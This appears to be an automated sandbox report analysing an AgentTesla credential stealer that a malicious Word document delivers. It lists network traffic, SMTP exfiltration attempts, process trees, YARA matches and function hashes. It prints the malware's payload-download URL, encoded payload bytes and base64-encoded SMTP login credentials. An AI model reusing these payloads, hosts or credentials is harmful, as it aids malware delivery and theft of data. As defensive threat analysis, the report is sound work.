Feb 23, 2021 16:55:45.417912006 CET	3303	IN	Data Raw: 68 58 52 68 56 68 4a 68 53 78 68 58 56 78 68 52 53 53 68 52 53 53 68 52 53 53 68 52 52 58 68 58 56 68 4a 68 4a 68 4a 68 52 53 50 68 58 75 68 50 68 4a 68 52 53 50 68 52 52 68 52 68 4a 68 4a 68 52 56 68 58 58 58 68 75 4a 68 4a 68 4a 68 58 4a 68 4a Data Ascii: hXRhVhJhSxhXVxhRSShRSShRSShRRXhXVhJhJhJhRSPhXuhPhJhRSPhRRhRhJhJhRVhXXXhuJhJhJhXJhJhRRJhRSPhXRhuhJhXXXhuXhJhJhXJhRSPhXPhJhJhSjhJhJhJhJhRSPhXRhJhJhPRhJhJhXhXjhJhJhRhJhRxhJhXJjhXuPhJhXVhJhJhJhJhRVhPxhRhJhXVPhJhJhJhXhJhJhXVhJhXXPhVhRhJhXXRhRSPhXPh
Feb 23, 2021 16:55:45.417953968 CET	3304	IN	Data Raw: 58 50 68 58 68 4a 68 58 58 50 68 58 4a 53 68 52 68 4a 68 58 58 52 68 52 53 50 68 58 50 68 52 68 4a 68 58 58 53 68 52 58 68 4a 68 4a 68 58 4a 68 52 53 50 68 58 50 68 75 68 4a 68 52 53 50 68 58 52 68 58 68 4a 68 50 4a 68 58 68 4a 68 4a 68 50 75 68 Data Ascii: XPhXhJhXXPhXJShRhJhXXRhRSPhXPhRhJhXXShRXhJhJhXJhRSPhXPhuhJhRSPhXRhXhJhPJhXhJhJhPuhXXXhRuhJhJhXJhRSPhXPhPhJhSjhSjhJhJhJhRSPhXuhPhJhPJhRPhJhJhXJhRSPhXPhShJhRSPhXRhShJhPJhRShJhJhXJhRSPhXRhRhJhPJhRjhJhJhXJhRXxhRSPhXPhjhJhRSPhXRhuhJhRSPhXRhjhJhPJhR
Feb 23, 2021 16:55:45.418015957 CET	3306	IN	Data Raw: 68 4a 68 50 4a 68 52 56 68 4a 68 4a 68 58 4a 68 58 58 58 68 52 78 68 4a 68 4a 68 58 4a 68 75 78 68 4a 68 52 53 50 68 58 75 68 50 68 4a 68 50 4a 68 52 6e 68 4a 68 4a 68 58 4a 68 52 53 50 68 58 50 68 56 68 4a 68 52 53 50 68 58 52 68 56 68 4a 68 53 Data Ascii: hJhPJhRVhJhJhXJhXXXhRxhJhJhXJhuxhJhRSPhXuhPhJhPJhRnhJhJhXJhRSPhXPhVhJhRSPhXRhVhJhSxhXVxhRSShRSShRSShRRXhXVhJhJhJhRSPhXuhPhJhRSPhRRhRhJhJhRVhXXXhuJhJhJhXJhJhRRJhRSPhXRhuhJhXXXhuXhJhJhXJhRSPhXPhJhJhSjhJhJhJhJhRSPhXRhJhJhPRhJhJhXhXjhJhJhRhJhRxhJh
Feb 23, 2021 16:55:45.418771982 CET	3307	IN	Data Raw: 68 52 78 68 4a 68 58 4a 6a 68 58 75 50 68 4a 68 58 56 68 4a 68 4a 68 4a 68 4a 68 52 56 68 50 78 68 52 68 4a 68 58 56 50 68 4a 68 4a 68 4a 68 58 68 4a 68 4a 68 58 56 68 4a 68 58 58 50 68 75 56 68 75 68 4a 68 58 58 52 68 52 53 50 68 58 50 68 58 68 Data Ascii: hRxhJhXJjhXuPhJhXVhJhJhJhJhRVhPxhRhJhXVPhJhJhJhXhJhJhXVhJhXXPhuVhuhJhXXRhRSPhXPhXhJhXXPhjnhuhJhXXRhRSPhXPhRhJhXXShRXhJhJhXJhRSPhXPhuhJhRSPhXRhXhJhPJhXhJhJhPuhXXXhRuhJhJhXJhRSPhXPhPhJhSjhSjhJhJhJhRSPhXuhPhJhPJhRPhJhJhXJhRSPhXPhShJhRSPhXRhShJhPJ
Feb 23, 2021 16:55:46.082715034 CET	4353	OUT	GET /base/C56E2AF17B6C065E85DB9FFDA54E4A78.html HTTP/1.1 Host: coroloboxorozor.com
Feb 23, 2021 16:55:46.162590027 CET	4354	IN	HTTP/1.1 200 OK Date: Tue, 23 Feb 2021 15:55:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=de701b32f5a349037147bd1fa2b8c66a01614095746; expires=Thu, 25-Mar-21 15:55:46 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Tue, 23 Feb 2021 00:47:08 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0871339c4800000b2f2a135000000001 Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=5EIJ7%2F%2B%2FxsuahxVFNt%2BdOr75ct6wN22yj4Ui5HvCpi3cmFyAa60Do7DuHsemwIiv0ceMcwrmiX3CRbHt5fPHu9FAMc2tJ7bLyZ62PhlFbyFC3jx%2F"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6262220d39d10b2f-AMS Data Raw: 33 33 31 38 0d 0a 3c 70 3e 58 78 68 52 58 78 68 58 78 4a 68 58 78 4a 68 56 53 68 56 53 68 6a 53 68 6a 53 68 53 53 68 53 53 68 58 4a 68 58 4a 68 6a 58 68 6a 58 68 58 53 68 58 53 68 75 56 68 75 56 68 52 53 68 52 53 68 52 75 56 68 52 75 56 68 58 6a 4a 68 58 6a 4a 68 78 75 68 78 75 68 75 78 68 75 78 68 58 56 68 58 56 68 75 53 68 75 53 68 52 4a 68 52 4a 68 53 56 68 53 56 68 6a 68 6a 68 52 50 50 68 52 50 50 68 58 52 78 68 58 52 78 68 58 58 50 68 58 58 50 68 6a 6a 68 6a 6a 68 75 78 68 75 78 68 53 50 68 53 50 68 52 4a 78 68 52 4a 53 68 58 6a 4a 68 58 6a 4a 68 52 4a 78 68 52 4a 78 68 58 6a 52 68 58 6a 52 68 75 58 68 52 78 68 50 53 68 50 53 68 52 6e 68 52 6e 68 50 58 68 50 58 68 56 56 68 6a 50 68 53 58 68 53 58 68 6e 50 68 6e 50 68 52 75 78 68 52 75 78 68 52 4a 50 68 58 6e 58 68 58 50 75 68 58 50 75 68 58 56 75 68 58 56 75 68 52 78 68 52 78 68 75 68 4a 68 58 58 50 68 58 58 50 68 56 68 56 68 52 75 58 68 52 75 58 68 53 4a 68 50 56 68 58 56 52 68 58 56 52 68 58 6a 75 68 58 53 75 68 53 78 68 53 78 68 52 53 52 68 52 50 58 68 52 50 52 68 52 75 6e 68 58 53 68 52 50 78 68 58 58 52 68 58 4a 78 68 58 6a 68 52 50 50 68 58 75 52 68 58 75 52 68 58 78 52 68 6e 78 68 52 52 78 68 58 52 56 68 58 68 58 75 6e 68 78 75 68 58 50 68 75 52 68 52 58 75 68 6a 78 68 52 58 75 68 50 78 68 52 75 52 68 58 56 68 58 6a 6e 68 58 4a 75 68 52 68 58 6e 58 68 78 78 68 75 56 68 58 78 4a 68 52 50 68 58 6e 56 68 58 6e 6e 68 6e 78 68 58 53 78 68 53 56 68 56 53 68 58 53 68 50 53 68 58 6e 4a 68 58 58 58 68 52 53 4a 68 75 4a 68 58 78 53 68 56 56 68 56 56 68 58 53 6a 68 52 68 58 56 6a 68 58 56 6a 68 58 53 78 68 75 4a 68 52 52 56 68 58 Data Ascii: 3318<p>XxhRXxhXxJhXxJhVShVShjShjShSShSShXJhXJhjXhjXhXShXShuVhuVhRShRShRuVhRuVhXjJhXjJhxuhxuhuxhuxhXVhXVhuShuShRJhRJhSVhSVhjhjhRPPhRPPhXRxhXRxhXXPhXXPhjjhjjhuxhuxhSPhSPhRJxhRJShXjJhXjJhRJxhRJxhXjRhXjRhuXhRxhPShPShRnhRnhPXhPXhVVhjPhSXhSXhnPhnPhRuxhRuxhRJPhXnXhXPuhXPuhXVuhXVuhRxhRxhuhJhXXPhXXPhVhVhRuXhRuXhSJhPVhXVRhXVRhXjuhXSuhSxhSxhRSRhRPXhRPRhRunhXShRPxhXXRhXJxhXjhRPPhXuRhXuRhXxRhnxhRRxhXRVhXhXunhxuhXPhuRhRXuhjxhRXuhPxhRuRhXVhXjnhXJuhRhXnXhxxhuVhXxJhRPhXnVhXnnhnxhXSxhSVhVShXShPShXnJhXXXhRSJhuJhXxShVVhVVhXSjhRhXVjhXVjhXSxhuJhRRVhX

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Feb 23, 2021 16:55:28.727945089 CET	587	49167	103.35.120.75	192.168.2.22	220-pro10.winwinhosting.com ESMTP Exim 4.93 #2 Tue, 23 Feb 2021 21:19:12 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Feb 23, 2021 16:55:28.728899956 CET	49167	587	192.168.2.22	103.35.120.75	EHLO 642294
Feb 23, 2021 16:55:28.930818081 CET	587	49167	103.35.120.75	192.168.2.22	250-pro10.winwinhosting.com Hello 642294 [84.17.52.38] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Feb 23, 2021 16:55:28.932142973 CET	49167	587	192.168.2.22	103.35.120.75	AUTH login ZWNvbThAdHBjZGVsLmNvbQ==
Feb 23, 2021 16:55:29.134661913 CET	587	49167	103.35.120.75	192.168.2.22	334 UGFzc3dvcmQ6
Feb 23, 2021 16:55:30.848807096 CET	587	49167	103.35.120.75	192.168.2.22	535 Incorrect authentication data
Feb 23, 2021 16:55:30.849620104 CET	49167	587	192.168.2.22	103.35.120.75	MAIL FROM:<ecom8@tpcdel.com>
Feb 23, 2021 16:55:31.054327011 CET	587	49167	103.35.120.75	192.168.2.22	550 Access denied - Invalid HELO name (See RFC2821 4.1.1.1)
Feb 23, 2021 16:55:51.257219076 CET	587	49170	103.35.120.75	192.168.2.22	220-pro10.winwinhosting.com ESMTP Exim 4.93 #2 Tue, 23 Feb 2021 21:19:34 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Feb 23, 2021 16:55:51.257775068 CET	49170	587	192.168.2.22	103.35.120.75	EHLO 642294
Feb 23, 2021 16:55:51.453808069 CET	587	49170	103.35.120.75	192.168.2.22	250-pro10.winwinhosting.com Hello 642294 [84.17.52.38] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Feb 23, 2021 16:55:51.454435110 CET	49170	587	192.168.2.22	103.35.120.75	AUTH login ZWNvbThAdHBjZGVsLmNvbQ==
Feb 23, 2021 16:55:51.650553942 CET	587	49170	103.35.120.75	192.168.2.22	334 UGFzc3dvcmQ6
Feb 23, 2021 16:55:53.570527077 CET	587	49170	103.35.120.75	192.168.2.22	535 Incorrect authentication data
Feb 23, 2021 16:55:53.570877075 CET	49170	587	192.168.2.22	103.35.120.75	MAIL FROM:<ecom8@tpcdel.com>
Feb 23, 2021 16:55:53.767194986 CET	587	49170	103.35.120.75	192.168.2.22	550 Access denied - Invalid HELO name (See RFC2821 4.1.1.1)
Feb 23, 2021 16:56:03.772083998 CET	587	49171	103.35.120.75	192.168.2.22	220-pro10.winwinhosting.com ESMTP Exim 4.93 #2 Tue, 23 Feb 2021 21:19:47 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Feb 23, 2021 16:56:03.772993088 CET	49171	587	192.168.2.22	103.35.120.75	EHLO 642294
Feb 23, 2021 16:56:03.967884064 CET	587	49171	103.35.120.75	192.168.2.22	250-pro10.winwinhosting.com Hello 642294 [84.17.52.38] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Feb 23, 2021 16:56:03.968130112 CET	49171	587	192.168.2.22	103.35.120.75	AUTH login ZWNvbThAdHBjZGVsLmNvbQ==
Feb 23, 2021 16:56:04.162950993 CET	587	49171	103.35.120.75	192.168.2.22	334 UGFzc3dvcmQ6
Feb 23, 2021 16:56:05.879669905 CET	587	49171	103.35.120.75	192.168.2.22	535 Incorrect authentication data
Feb 23, 2021 16:56:05.880009890 CET	49171	587	192.168.2.22	103.35.120.75	MAIL FROM:<ecom8@tpcdel.com>
Feb 23, 2021 16:56:06.076339960 CET	587	49171	103.35.120.75	192.168.2.22	550 Access denied - Invalid HELO name (See RFC2821 4.1.1.1)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 2472 Parent PID: 584

General

Start time:	16:53:35
Start date:	23/02/2021
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Imagebase:	0x13f6a0000
File size:	1424032 bytes
MD5 hash:	95C38D04597050285A18F66039EDB456
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 2300 Parent PID: 584

General

Start time:	16:53:36
Start date:	23/02/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: twox67345.exe PID: 2292 Parent PID: 2300

General

Start time:	16:53:42
Start date:	23/02/2021
Path:	C:\Users\user\AppData\Roaming\twox67345.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\twox67345.exe
Imagebase:	0x910000
File size:	629624 bytes
MD5 hash:	3DC83F17122DD592D607424A54C1E9CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2274734212.000000000368E000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 2944 Parent PID: 2292

General

Start time:	16:55:03
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c timeout 1
Imagebase:	0x4a110000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 2996 Parent PID: 2944

General

Start time:	16:55:04
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 1
Imagebase:	0x510000
File size:	27136 bytes
MD5 hash:	419A5EF8D76693048E4D6F79A5C875AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: twox67345.exe PID: 2936 Parent PID: 2292

General

Start time:	16:55:06
Start date:	23/02/2021
Path:	C:\Users\user\AppData\Roaming\twox67345.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\twox67345.exe
Imagebase:	0x910000
File size:	629624 bytes
MD5 hash:	3DC83F17122DD592D607424A54C1E9CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: twox67345.exe PID: 2952 Parent PID: 2292

General

Start time:	16:55:06
Start date:	23/02/2021
Path:	C:\Users\user\AppData\Roaming\twox67345.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\twox67345.exe
Imagebase:	0x910000
File size:	629624 bytes
MD5 hash:	3DC83F17122DD592D607424A54C1E9CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2360157880.0000000002701000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2360157880.0000000002701000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2358876665.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: UGxXf.exe PID: 2500 Parent PID: 1388

General

Start time:	16:55:18
Start date:	23/02/2021
Path:	C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe'
Imagebase:	0xb50000
File size:	629624 bytes
MD5 hash:	3DC83F17122DD592D607424A54C1E9CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2334670047.000000000374E000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: UGxXf.exe PID: 1836 Parent PID: 1388

General

Start time:	16:55:26
Start date:	23/02/2021
Path:	C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe'
Imagebase:	0xb50000
File size:	629624 bytes
MD5 hash:	3DC83F17122DD592D607424A54C1E9CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 2924 Parent PID: 2500

General

Start time:	16:55:27
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c timeout 1
Imagebase:	0x49e70000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 2984 Parent PID: 2924

General

Start time:	16:55:29
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 1
Imagebase:	0xda0000
File size:	27136 bytes
MD5 hash:	419A5EF8D76693048E4D6F79A5C875AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: UGxXf.exe PID: 648 Parent PID: 2500

General

Start time:	16:55:31
Start date:	23/02/2021
Path:	C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe
Imagebase:	0xb50000
File size:	629624 bytes
MD5 hash:	3DC83F17122DD592D607424A54C1E9CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000010.00000002.2360028702.00000000022B1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000010.00000002.2358961317.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: twox67345.exe PID: 2952 Parent PID: 2292 twox67345.exeCOMMON

Executed Functions

Function 023F78A5, Relevance: 11.2, APIs: 2, Strings: 4, Instructions: 695COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

]z{, xrefs: 023F8D23
)CG, xrefs: 023F7F9F
<O6, xrefs: 023F8DCB
(((, xrefs: 023F82D1

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: ((($)CG$<O6$]z{
API String ID: 6842923-2199527406
Opcode ID: 6b10b26cb9ba84152dc30fb8219574eb24e8c60eeefe2e66b923b50b67426436
Instruction ID: bcf285c3e3d1c50a7c56a660b8b588057eef1643189274495f26030997ce60a8
Opcode Fuzzy Hash: 6b10b26cb9ba84152dc30fb8219574eb24e8c60eeefe2e66b923b50b67426436
Instruction Fuzzy Hash: 6162BF74A04218CFCBA8DF20D950799B7B6FF89304F1184E9C60AAB355DB319E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 023F1AEA, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 445COMMON

Download Yara Rule

Strings

ds, xrefs: 023F21A1
ds, xrefs: 023F2280

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: ds$ds
API String ID: 0-61389829
Opcode ID: 1881694fb4e9ca3a4c798f36abf9c0ad8ac61f5b92fa8b275728d87b1af06e93
Instruction ID: 710dcf542cfe134ad070f69b8d7e262c37201079124222e3395063e0ec5e70aa
Opcode Fuzzy Hash: 1881694fb4e9ca3a4c798f36abf9c0ad8ac61f5b92fa8b275728d87b1af06e93
Instruction Fuzzy Hash: 70020931B10200CBC798EBB8E5546AEBBF7AB85304F10853AD54A9F791DB34DD5ACB81

Uniqueness

Uniqueness Score: -1.00%

Function 023F1B61, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 421COMMON

Download Yara Rule

Strings

ds, xrefs: 023F21A1
ds, xrefs: 023F2280

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: ds$ds
API String ID: 0-61389829
Opcode ID: 96c34d918735f69e2388e7bcbce14569e8a0a8dc71f794977db95f168821a2d8
Instruction ID: 53f2f3ae8a1e9265338824cc94c85c23e07755c597bc5ed74846d20ae38ddaa0
Opcode Fuzzy Hash: 96c34d918735f69e2388e7bcbce14569e8a0a8dc71f794977db95f168821a2d8
Instruction Fuzzy Hash: CDF11A31B00200CBC798EBB4E5546AEBBF7AB81304F10853AD54A9F792DB34DD56CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00617128, Relevance: 5.5, Strings: 4, Instructions: 509COMMON

Download Yara Rule

Strings

HVl, xrefs: 00617540
HVl, xrefs: 00617189
h, xrefs: 006181E9
HVl, xrefs: 006174C2

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: h$HVl$HVl$HVl
API String ID: 0-1833808588
Opcode ID: 69e1c3bd0b015849def188e857565a0f89d93d65ec4e4f2a7df79829ad627732
Instruction ID: 9ddfb51e2570bce30aad354de2a04240cea5ba017f2dbe12d1cd0d61ec90909b
Opcode Fuzzy Hash: 69e1c3bd0b015849def188e857565a0f89d93d65ec4e4f2a7df79829ad627732
Instruction Fuzzy Hash: 9E128A34B042188FDB68DF74D950BAEB7B3AF85304F1884A9D50ADB395DB34DD868B81

Uniqueness

Uniqueness Score: -1.00%

Function 0061D108, Relevance: 5.2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

>>>, xrefs: 0061D275
))))))))))))))))), xrefs: 0061D141
)))), xrefs: 0061D37E
)))), xrefs: 0061D2C7

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: ))))$))))$)))))))))))))))))$>>>
API String ID: 0-1613018665
Opcode ID: b468aed711471a16fa881f9b3dea3b90b2e36a3144d312df0f98f4fdf8fd8147
Instruction ID: c74c0eb87c556229523376f19c9e4772048bee5c45f5a8a019903773883eb0cb
Opcode Fuzzy Hash: b468aed711471a16fa881f9b3dea3b90b2e36a3144d312df0f98f4fdf8fd8147
Instruction Fuzzy Hash: 9B819F34B101088BCB48DBB8D9916DEB7F7ABC8354B188975D506EB364DB30ED828B91

Uniqueness

Uniqueness Score: -1.00%

Function 00617118, Relevance: 4.3, Strings: 3, Instructions: 506COMMON

Download Yara Rule

Strings

HVl, xrefs: 00617540
HVl, xrefs: 00617189
HVl, xrefs: 006174C2

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: HVl$HVl$HVl
API String ID: 0-1637983939
Opcode ID: 794bac81fe7d609b4553c5e17467462e08d972d216c643a1cca1789044504eec
Instruction ID: 79defadbf29007d768e44a30b0b78e35667433240c32f9c14910365ed7769559
Opcode Fuzzy Hash: 794bac81fe7d609b4553c5e17467462e08d972d216c643a1cca1789044504eec
Instruction Fuzzy Hash: 7B129A34B042188FCB68DF74D950BAEB7B3AF85304F1884A9D509DB395DB34DE868B91

Uniqueness

Uniqueness Score: -1.00%

Function 00614A08, Relevance: 4.1, Strings: 3, Instructions: 302COMMON

Download Yara Rule

Strings

JJJJJJJJJJ)))$%)))), xrefs: 00614D95
33333343333333333333333, xrefs: 00614C48
333333333, xrefs: 00614B92

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: 333333333$33333343333333333333333$JJJJJJJJJJ)))$%))))
API String ID: 0-3427269629
Opcode ID: 32e600355bbb0d14384c3949d774d9e29562515d6488d0b4f88e0536bf8c0d75
Instruction ID: 75e057f458d7d9889d1b920ce8984a2d6ec84b6a172fa24442dc55bed6d93800
Opcode Fuzzy Hash: 32e600355bbb0d14384c3949d774d9e29562515d6488d0b4f88e0536bf8c0d75
Instruction Fuzzy Hash: 05B1B034B042048FCB58DFA8D590AEE77F3AF89354F298566E505DB3A5DE30DC868B90

Uniqueness

Uniqueness Score: -1.00%

Function 0060408A, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

-`, xrefs: 00604108

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID:
String ID: -`
API String ID: 0-742467912
Opcode ID: 0984b9ba40c4aa61b333089380783d191de432694f3f918e02c875e2f5c19e74
Instruction ID: 170f8afd147e3c3e567fc6c774ae4e1564ac5cec115afcb9fedbb79d52f381a3
Opcode Fuzzy Hash: 0984b9ba40c4aa61b333089380783d191de432694f3f918e02c875e2f5c19e74
Instruction Fuzzy Hash: 71A1FBA054E3C26FC39387F4D86B6E6BFA1AF42120709C5DFE48557953E6909453C742

Uniqueness

Uniqueness Score: -1.00%

Function 023F4A08, Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

,GFj, xrefs: 023F4C53
JFj, xrefs: 023F4AF7

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: ,GFj$JFj
API String ID: 0-2699207506
Opcode ID: 3e07335835aed8ad8e4f03b86c1d957d251ae3bc7a1388f2a684023e0b2e875e
Instruction ID: 2157aebf67fdc73825ca015f66c1915a2e06ebe65c6904ab7131c79c05167c32
Opcode Fuzzy Hash: 3e07335835aed8ad8e4f03b86c1d957d251ae3bc7a1388f2a684023e0b2e875e
Instruction Fuzzy Hash: 9C916D70E002099FDF54CFA9D9807DEBBF2AF88308F149529E714AB394EB749845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00616898, Relevance: 2.6, Strings: 2, Instructions: 136COMMON

Download Yara Rule

Strings

33333, xrefs: 006169DF
3333, xrefs: 0061694A

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: 3333$33333
API String ID: 0-277859293
Opcode ID: d0775587ba95c049f943ccf0bb9c19763bf60bd9d8b9475e45a6f6458226df0d
Instruction ID: 2fffee1d473490afd438f9227793beb09070a2b9e826dab0cd1e56f3aea81540
Opcode Fuzzy Hash: d0775587ba95c049f943ccf0bb9c19763bf60bd9d8b9475e45a6f6458226df0d
Instruction Fuzzy Hash: AE417635B001058BD758ABBCD9506EE66A7ABC4354F19883AE606EF3D0DE34DC4297A0

Uniqueness

Uniqueness Score: -1.00%

Function 023F5620, Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

JFj, xrefs: 023F58B9

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: JFj
API String ID: 0-1561749925
Opcode ID: 6332433591c4a7b175e2e44de1a6df9a63d7795e344583f7edad614294655d3e
Instruction ID: bbbfa0e137b0eab56cd04a356dd7a449d077d36b471aea5a13a02ff016623fc8
Opcode Fuzzy Hash: 6332433591c4a7b175e2e44de1a6df9a63d7795e344583f7edad614294655d3e
Instruction Fuzzy Hash: 28B18F70E00209CFDB54CFA9D8857DEBBF2AF88318F648529D915EB394EB749845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 023F0798, Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

"yN, xrefs: 023F0A9D

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: "yN
API String ID: 0-2406863617
